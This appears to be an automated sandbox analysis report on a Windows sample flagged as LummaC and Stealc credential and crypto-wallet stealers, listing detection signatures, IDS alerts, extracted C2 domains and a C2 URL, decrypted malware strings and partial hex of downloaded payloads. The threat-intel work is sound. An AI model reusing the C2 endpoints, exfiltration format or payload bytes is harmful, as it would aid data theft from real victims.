Edit tour

Windows Analysis Report
Y41xQGmT37.exe

Overview

General Information

Sample name:	Y41xQGmT37.exe renamed because original name is a hash value
Original sample name:	ffd3e08783983aa539d8056c4a45755a.exe
Analysis ID:	1578078
MD5:	ffd3e08783983aa539d8056c4a45755a
SHA1:	35319d1dfd1accbf215edf312d26c62ffe44193b
SHA256:	f0a572023009f960fc10a93f127dd60641929b63a63f9c51c8a0c2e2aec6f5f0
Tags:	exeuser-abuse_ch
Infos:

Detection

LummaC, Stealc

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

Yara detected Powershell download and execute

Yara detected Stealc

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Disable Windows Defender notifications (registry)

Disable Windows Defender real time protection (registry)

Disables Windows Defender Tamper protection

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

LummaC encrypted strings found

Machine Learning detection for dropped file

Machine Learning detection for sample

Modifies windows update settings

PE file contains section with special chars

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains long sleeps (>= 3 min)

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Enables debug privileges

Entry point lies outside standard sections

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Searches for user specific document files

Shows file infection / information gathering behavior (enumerates multiple directory for files)

Sigma detected: Use Short Name Path in Command Line

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

Y41xQGmT37.exe (PID: 1004 cmdline: "C:\Users\user\Desktop\Y41xQGmT37.exe" MD5: FFD3E08783983AA539D8056C4A45755A)

RTE6Q2HDLNW1RMMKJZSAMCQ5BNP.exe (PID: 7544 cmdline: "C:\Users\user~1\AppData\Local\Temp\RTE6Q2HDLNW1RMMKJZSAMCQ5BNP.exe" MD5: 44C034B1AD003CD71788ED1DDE918242)

PSWNUEKNC3FPT2DCN2C27VPRVU.exe (PID: 7708 cmdline: "C:\Users\user~1\AppData\Local\Temp\PSWNUEKNC3FPT2DCN2C27VPRVU.exe" MD5: 54FDA3AEEC860324D9E721BF82B9B350)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/clickfix-tactic-the-phantom-meet/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.206/c4becf79229cb002.php"}

Threatname: LummaC

{"C2 url": ["energyaffai.lat", "discokeyus.lat", "crosshuaht.lat", "aspecteirs.lat", "sweepyribs.lat", "rapeflowwj.lat", "grannyejh.lat", "sustainskelet.lat", "necklacebudi.lat"], "Build id": "PsFKDg--pablo"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
0000000A.00000002.1687877446.0000000000351000.00000040.00000001.01000000.00000009.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000000A.00000002.1689307962.0000000000F5E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000000A.00000003.1627002397.0000000004CB0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: Y41xQGmT37.exe PID: 1004	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: Y41xQGmT37.exe PID: 1004	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: Y41xQGmT37.exe PID: 1004	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: PSWNUEKNC3FPT2DCN2C27VPRVU.exe PID: 7708	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: PSWNUEKNC3FPT2DCN2C27VPRVU.exe PID: 7708	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Click to see the 4 entries

Sigma Signatures

System Summary

Sigma detected: Use Short Name Path in Command Line

Source: Process started

Author: frack113, Nasreddine Bencherchali: Data: Command: "C:\Users\user~1\AppData\Local\Temp\RTE6Q2HDLNW1RMMKJZSAMCQ5BNP.exe", CommandLine: "C:\Users\user~1\AppData\Local\Temp\RTE6Q2HDLNW1RMMKJZSAMCQ5BNP.exe", CommandLine|base64offset|contains: , Image: C:\Users\user\AppData\Local\Temp\RTE6Q2HDLNW1RMMKJZSAMCQ5BNP.exe, NewProcessName: C:\Users\user\AppData\Local\Temp\RTE6Q2HDLNW1RMMKJZSAMCQ5BNP.exe, OriginalFileName: C:\Users\user\AppData\Local\Temp\RTE6Q2HDLNW1RMMKJZSAMCQ5BNP.exe, ParentCommandLine: "C:\Users\user\Desktop\Y41xQGmT37.exe", ParentImage: C:\Users\user\Desktop\Y41xQGmT37.exe, ParentProcessId: 1004, ParentProcessName: Y41xQGmT37.exe, ProcessCommandLine: "C:\Users\user~1\AppData\Local\Temp\RTE6Q2HDLNW1RMMKJZSAMCQ5BNP.exe", ProcessId: 7544, ProcessName: RTE6Q2HDLNW1RMMKJZSAMCQ5BNP.exe

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-19T08:40:20.374362+0100	2028371	3	Unknown Traffic	192.168.2.7	49699	104.21.64.80	443	TCP
2024-12-19T08:40:22.552560+0100	2028371	3	Unknown Traffic	192.168.2.7	49700	104.21.64.80	443	TCP
2024-12-19T08:40:24.973014+0100	2028371	3	Unknown Traffic	192.168.2.7	49701	104.21.64.80	443	TCP
2024-12-19T08:40:27.356642+0100	2028371	3	Unknown Traffic	192.168.2.7	49702	104.21.64.80	443	TCP
2024-12-19T08:40:29.636964+0100	2028371	3	Unknown Traffic	192.168.2.7	49704	104.21.64.80	443	TCP
2024-12-19T08:40:32.267126+0100	2028371	3	Unknown Traffic	192.168.2.7	49710	104.21.64.80	443	TCP
2024-12-19T08:40:34.727016+0100	2028371	3	Unknown Traffic	192.168.2.7	49716	104.21.64.80	443	TCP
2024-12-19T08:40:38.373296+0100	2028371	3	Unknown Traffic	192.168.2.7	49725	104.21.64.80	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-19T08:40:21.321859+0100	2054653	1	A Network Trojan was detected	192.168.2.7	49699	104.21.64.80	443	TCP
2024-12-19T08:40:23.405758+0100	2054653	1	A Network Trojan was detected	192.168.2.7	49700	104.21.64.80	443	TCP
2024-12-19T08:40:39.197121+0100	2054653	1	A Network Trojan was detected	192.168.2.7	49725	104.21.64.80	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-19T08:40:21.321859+0100	2049836	1	A Network Trojan was detected	192.168.2.7	49699	104.21.64.80	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-19T08:40:23.405758+0100	2049812	1	A Network Trojan was detected	192.168.2.7	49700	104.21.64.80	443	TCP

ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-19T08:40:20.374362+0100	2058365	1	Domain Observed Used for C2 Detected	192.168.2.7	49699	104.21.64.80	443	TCP
2024-12-19T08:40:22.552560+0100	2058365	1	Domain Observed Used for C2 Detected	192.168.2.7	49700	104.21.64.80	443	TCP
2024-12-19T08:40:24.973014+0100	2058365	1	Domain Observed Used for C2 Detected	192.168.2.7	49701	104.21.64.80	443	TCP
2024-12-19T08:40:27.356642+0100	2058365	1	Domain Observed Used for C2 Detected	192.168.2.7	49702	104.21.64.80	443	TCP
2024-12-19T08:40:29.636964+0100	2058365	1	Domain Observed Used for C2 Detected	192.168.2.7	49704	104.21.64.80	443	TCP
2024-12-19T08:40:32.267126+0100	2058365	1	Domain Observed Used for C2 Detected	192.168.2.7	49710	104.21.64.80	443	TCP
2024-12-19T08:40:34.727016+0100	2058365	1	Domain Observed Used for C2 Detected	192.168.2.7	49716	104.21.64.80	443	TCP
2024-12-19T08:40:38.373296+0100	2058365	1	Domain Observed Used for C2 Detected	192.168.2.7	49725	104.21.64.80	443	TCP

ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-19T08:40:40.653642+0100	2019714	2	Potentially Bad Traffic	192.168.2.7	49732	185.215.113.16	80	TCP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (grannyejh .lat)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-19T08:40:18.993028+0100	2058364	1	Domain Observed Used for C2 Detected	192.168.2.7	59868	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (sweepyribs .lat)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-19T08:40:18.849752+0100	2058378	1	Domain Observed Used for C2 Detected	192.168.2.7	64942	1.1.1.1	53	UDP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-19T08:40:33.063220+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.7	49710	104.21.64.80	443	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-19T08:41:00.260942+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.7	49778	185.215.113.206	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: Y41xQGmT37.exe

Avira: detected

Antivirus detection for URL or domain

Source: https://grannyejh.lat/apitone	Avira URL Cloud: Label: malware
Source: https://grannyejh.lat/apimn	Avira URL Cloud: Label: malware
Source: https://grannyejh.lat/L	Avira URL Cloud: Label: malware
Source: https://grannyejh.lat/k	Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\PSWNUEKNC3FPT2DCN2C27VPRVU.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\RTE6Q2HDLNW1RMMKJZSAMCQ5BNP.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen

Found malware configuration

Source: 0000000A.00000002.1689307962.0000000000F5E000.00000004.00000020.00020000.00000000.sdmp	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.206/c4becf79229cb002.php"}
Source: Y41xQGmT37.exe.1004.0.memstrmin	Malware Configuration Extractor: LummaC {"C2 url": ["energyaffai.lat", "discokeyus.lat", "crosshuaht.lat", "aspecteirs.lat", "sweepyribs.lat", "rapeflowwj.lat", "grannyejh.lat", "sustainskelet.lat", "necklacebudi.lat"], "Build id": "PsFKDg--pablo"}

Multi AV Scanner detection for submitted file

Source: Y41xQGmT37.exe	ReversingLabs: Detection: 60%
Source: Y41xQGmT37.exe	Virustotal: Detection: 53%			Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\PSWNUEKNC3FPT2DCN2C27VPRVU.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\RTE6Q2HDLNW1RMMKJZSAMCQ5BNP.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: Y41xQGmT37.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 00000000.00000003.1252704079.0000000004DD0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: rapeflowwj.lat
Source: 00000000.00000003.1252704079.0000000004DD0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: crosshuaht.lat
Source: 00000000.00000003.1252704079.0000000004DD0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: sustainskelet.lat
Source: 00000000.00000003.1252704079.0000000004DD0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: aspecteirs.lat
Source: 00000000.00000003.1252704079.0000000004DD0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: energyaffai.lat
Source: 00000000.00000003.1252704079.0000000004DD0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: necklacebudi.lat
Source: 00000000.00000003.1252704079.0000000004DD0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: discokeyus.lat
Source: 00000000.00000003.1252704079.0000000004DD0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: grannyejh.lat
Source: 00000000.00000003.1252704079.0000000004DD0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: sweepyribs.lat
Source: 00000000.00000003.1252704079.0000000004DD0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 00000000.00000003.1252704079.0000000004DD0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: TeslaBrowser/5.5
Source: 00000000.00000003.1252704079.0000000004DD0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: - Screen Resoluton:
Source: 00000000.00000003.1252704079.0000000004DD0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: - Physical Installed Memory:
Source: 00000000.00000003.1252704079.0000000004DD0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: Workgroup: -
Source: 00000000.00000003.1252704079.0000000004DD0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: PsFKDg--pablo

Source: Y41xQGmT37.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 104.21.64.80:443 -> 192.168.2.7:49699 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.80:443 -> 192.168.2.7:49700 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.80:443 -> 192.168.2.7:49701 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.80:443 -> 192.168.2.7:49702 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.80:443 -> 192.168.2.7:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.80:443 -> 192.168.2.7:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.80:443 -> 192.168.2.7:49716 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.80:443 -> 192.168.2.7:49725 version: TLS 1.2

Source:

Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: RTE6Q2HDLNW1RMMKJZSAMCQ5BNP.exe, 00000009.00000003.1524630509.0000000004C20000.00000004.00001000.00020000.00000000.sdmp, RTE6Q2HDLNW1RMMKJZSAMCQ5BNP.exe, 00000009.00000002.1659430469.0000000000052000.00000040.00000001.01000000.00000006.sdmp

Source: C:\Users\user\Desktop\Y41xQGmT37.exe

Directory queried: number of queries: 1001

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2058378 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (sweepyribs .lat) : 192.168.2.7:64942 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058364 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (grannyejh .lat) : 192.168.2.7:59868 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058365 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI) : 192.168.2.7:49699 -> 104.21.64.80:443
Source: Network traffic	Suricata IDS: 2058365 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI) : 192.168.2.7:49702 -> 104.21.64.80:443
Source: Network traffic	Suricata IDS: 2058365 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI) : 192.168.2.7:49704 -> 104.21.64.80:443
Source: Network traffic	Suricata IDS: 2058365 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI) : 192.168.2.7:49701 -> 104.21.64.80:443
Source: Network traffic	Suricata IDS: 2058365 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI) : 192.168.2.7:49710 -> 104.21.64.80:443
Source: Network traffic	Suricata IDS: 2058365 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI) : 192.168.2.7:49700 -> 104.21.64.80:443
Source: Network traffic	Suricata IDS: 2058365 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI) : 192.168.2.7:49716 -> 104.21.64.80:443
Source: Network traffic	Suricata IDS: 2058365 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI) : 192.168.2.7:49725 -> 104.21.64.80:443
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.7:49778 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.7:49700 -> 104.21.64.80:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:49700 -> 104.21.64.80:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.7:49699 -> 104.21.64.80:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:49699 -> 104.21.64.80:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.7:49710 -> 104.21.64.80:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:49725 -> 104.21.64.80:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://185.215.113.206/c4becf79229cb002.php
Source: Malware configuration extractor	URLs: energyaffai.lat
Source: Malware configuration extractor	URLs: discokeyus.lat
Source: Malware configuration extractor	URLs: crosshuaht.lat
Source: Malware configuration extractor	URLs: aspecteirs.lat
Source: Malware configuration extractor	URLs: sweepyribs.lat
Source: Malware configuration extractor	URLs: rapeflowwj.lat
Source: Malware configuration extractor	URLs: grannyejh.lat
Source: Malware configuration extractor	URLs: sustainskelet.lat
Source: Malware configuration extractor	URLs: necklacebudi.lat

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 19 Dec 2024 07:40:39 GMTContent-Type: application/octet-streamContent-Length: 1719808Last-Modified: Thu, 19 Dec 2024 07:22:27 GMTConnection: keep-aliveETag: "6763c9b3-1a3e00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 60 44 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 a0 44 00 00 04 00 00 39 5c 1a 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 44 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 44 05 00 00 00 60 00 00 00 04 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 36 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 c0 29 00 00 a0 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 61 76 69 77 6c 76 7a 7a 00 e0 19 00 00 60 2a 00 00 dc 19 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6f 6e 64 70 75 67 70 7a 00 20 00 00 00 40 44 00 00 06 00 00 00 16 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 60 44 00 00 22 00 00 00 1c 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 19 Dec 2024 07:40:44 GMTContent-Type: application/octet-streamContent-Length: 2856960Last-Modified: Thu, 19 Dec 2024 07:24:04 GMTConnection: keep-aliveETag: "6763ca14-2b9800"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 20 8b b6 d4 64 ea d8 87 64 ea d8 87 64 ea d8 87 0b 9c 73 87 7c ea d8 87 0b 9c 46 87 69 ea d8 87 0b 9c 72 87 5e ea d8 87 6d 92 5b 87 67 ea d8 87 6d 92 4b 87 62 ea d8 87 e4 93 d9 86 67 ea d8 87 64 ea d9 87 09 ea d8 87 0b 9c 77 87 77 ea d8 87 0b 9c 45 87 65 ea d8 87 52 69 63 68 64 ea d8 87 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 19 64 54 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 28 01 00 00 00 00 00 00 d0 4e 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 00 4f 00 00 04 00 00 dd 7d 2c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 4d b0 24 00 61 00 00 00 00 a0 24 00 f0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 b1 24 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 90 24 00 00 10 00 00 00 68 01 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 f0 01 00 00 00 a0 24 00 00 02 00 00 00 78 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 b0 24 00 00 02 00 00 00 7a 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 77 66 6f 73 6b 61 66 77 00 00 